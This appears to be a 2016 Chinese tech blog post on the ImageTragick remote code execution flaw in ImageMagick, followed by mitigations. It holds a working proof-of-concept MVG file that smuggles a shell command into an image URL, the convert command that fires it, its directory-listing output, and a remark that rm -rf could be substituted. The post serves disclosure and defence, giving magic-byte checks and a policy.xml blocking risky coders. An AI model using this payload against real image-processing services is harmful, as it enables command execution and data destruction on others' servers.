IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    ImageMagick重大0day漏洞-远程代码执行

    mckee发表于 2016-05-10 16:32:38
    love 0

    巨多的网站和漏洞都在使用ImageMagick处理图片,最近ImageMagick被爆出重大漏洞。
    这个漏洞是由于当在转换图片format的时候,由于image decoder缺少了对文件名的过滤引起的远程代码执行。
    重现如下:
    vim crack.jpg 添加如下内容:

    push graphic-context
    
    viewbox 0 0 640 480
    
    fill 'url(https://example.com/image.jpg"|ls "-la)'
    
    pop graphic-context

    然后转换格式
    mckee@mckee-pc ~/download $ convert crack.jpg out.png           
    总用量 570092
    drwxr-xr-x 11 mckee mckee      4096  5月 10 16:30 .
    drwxr-xr-x 66 mckee mckee      4096  5月 10 16:30 ..
    -rw-r-----  1 mckee mckee   1351701  5月  4 10:59 1442042040_271217.zip
    -rw-r-----  1 mckee mckee     20694  5月  5 14:59 1462354457_404523.gif
    -rw-r-----  1 mckee mckee   2694477  5月  5 17:49 1462414101_624315.zip
    ......

    如果你将ls -l替换其它恶意命令如rm -rf,后果可行而知。
    解决办法如下:
    (1)在将图片提交给ImageMagick处理之前,先通过"magic bytes"判断文件类型
    (2)给ImageMagick添加policy,禁止编码EPHEMERAL, URL, MVG, and MSL.
    sudo vim /etc/ImageMagick/policy.xml
    <policymap>
      <policy domain="coder" rights="none" pattern="EPHEMERAL" />
      <policy domain="coder" rights="none" pattern="URL" />
      <policy domain="coder" rights="none" pattern="HTTPS" />
      <policy domain="coder" rights="none" pattern="MVG" />
      <policy domain="coder" rights="none" pattern="MSL" />
      <policy domain="coder" rights="none" pattern="TEXT" />
      <policy domain="coder" rights="none" pattern="SHOW" />
      <policy domain="coder" rights="none" pattern="WIN" />
      <policy domain="coder" rights="none" pattern="PLT" />
    </policymap>

    参考资料:
    • https://imagetragick.com/ 



沪ICP备19023445号-2号
友情链接